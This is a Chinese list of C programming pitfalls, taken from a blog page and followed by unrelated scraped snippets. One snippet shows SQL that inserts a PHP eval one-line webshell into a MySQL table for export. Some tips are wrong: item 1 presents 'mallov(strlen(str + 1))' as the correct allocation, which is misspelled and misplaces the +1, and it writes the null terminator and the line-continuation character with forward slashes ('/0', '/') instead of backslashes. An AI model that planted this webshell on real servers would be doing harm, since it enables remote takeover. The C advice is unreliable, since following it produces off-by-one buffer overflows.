1.當看到這樣一句指令mallov(strlen(str));,幾乎就可以認為它是錯誤的,而mallov(strlen(str + 1));才是正確的,因為大家總是會忽略字串結尾的'/0'字元
2.ansi字元中零的位模式被稱為'nul',用於結束乙個acsⅱ字串,很多人都不知道哦
3.switch語句中的case後面只能跟常量值或常量表示式,const都不可以,因其依舊是變數
4.break statement within loop or switch,別指望break可以跳出別的什麼東西哦
5.ansi c引入了乙個新特性是相鄰的字串常量將被自動合成乙個字串常量,這就省掉了過去在書寫多行資訊時必須在行末加接續符'/'的做法,但這種自動合併意味著字串陣列初始化時,如果一不小心漏了乙個逗號,編譯器是不會給錯誤資訊的,而這將發生悲劇……
6.c語言中對符號static的過載:在函式內部,表示該變數的值在各個呼叫間一直保持延續性,在函式這一級,表示該函式只對本檔案可見
7.sizeof是32個關鍵字之一,而不是函式,當其運算元是變數的話,兩邊不需要加括號
8.逗號表示式的結果用於賦值一定要加括號,比如i = 1,2;事實上相當於(i = 1),2;
9.形如x = f() + g() * h();唯一可以確定的就是乘法會在加法之前執行,至於這3個函式哪個先執行,哪個後執行,是未定義的
10.在函式呼叫中,各個引數的計算順序是不確定的
11.反斜槓作為接續符'/'時,在本行其後面不能再有任何字元,空格都不行
12.'//'該符號作為注釋符使用是c++的事,但c99也引入了,所以
a//*
//*/b
這段**在老版本的c用是a/b,但在c99和c++中已經是a了
13.結構中也允許存在位段、無名段以及字對齊所需的填充字段。位段的型別必須是int,unsigned int或signed int(或加上限制符)。至於int位段的值可以可以取負值則取決於編譯器。
14.int型變數i跟只包含乙個int型成員的結構變數s在引數傳遞時的方式可能完全不同,乙個int型引數一般會被傳遞到暫存器中,而結構引數很可能被傳遞到堆疊中
15.列舉相比#define有乙個優點,#define定義的名字一般在編譯時被丟棄,而列舉名字則通常一直在偵錯程式中可見,可以在除錯**時使用它們
16.可以用其他型別說明符對巨集型別名進行擴充套件,但對typedef所定義的型別名卻不能這樣做
17.如果函式庫的乙份拷貝是可執行檔案的物理組成部分 ,那麼稱之為靜態鏈結
如果可執行檔案是包含了檔名,讓載入器在執行時能夠尋找程式所需要的函式庫,那麼稱之為動態鏈結
18.使用interpositioning需要格外小心。很容易發生自己**中某個符號的定義取代函式庫中的相同符號的意外。不僅自己所進行的所有對該庫函式的呼叫將被自己版本的函式呼叫所取代,而且所有呼叫該庫函式的系統呼叫也將用該函式取而代之。當編譯器注意到庫函式被另乙個定義覆蓋時,它通常不會給出錯誤資訊。這也是遵循c語言的設計哲學,即程式設計師所做的都是對的。
不斷更新中……
mysql 匯出一句話 MySQL 匯出一句話
drop table if exists temp 如果存在temp就刪掉 create table temp cmd text not null 建立temp表,裡面就乙個cmd欄位 insert into temp cmd values php eval post cmd 把一句話木馬插入到te...
一句話提醒
1 在c 中,父窗體要訪問子窗體變數,需將子窗體變數設為public才能訪問。2 每 5 秒重新整理頁面 5 秒後重定向頁面 3 block 此元素將顯示為塊級元素,此元素前後會帶有換行符。inline 預設。此元素會被顯示為內聯元素,元素前後沒有換行符。4 document.getelementb...
一句話命令
bash 型別 wget r nc np 分片20m 上傳 bypy vvv s 20m upload mac下檢視埠占用 nettop nm tcp brew brew uninstall zsh brew services list brew services start brew servic...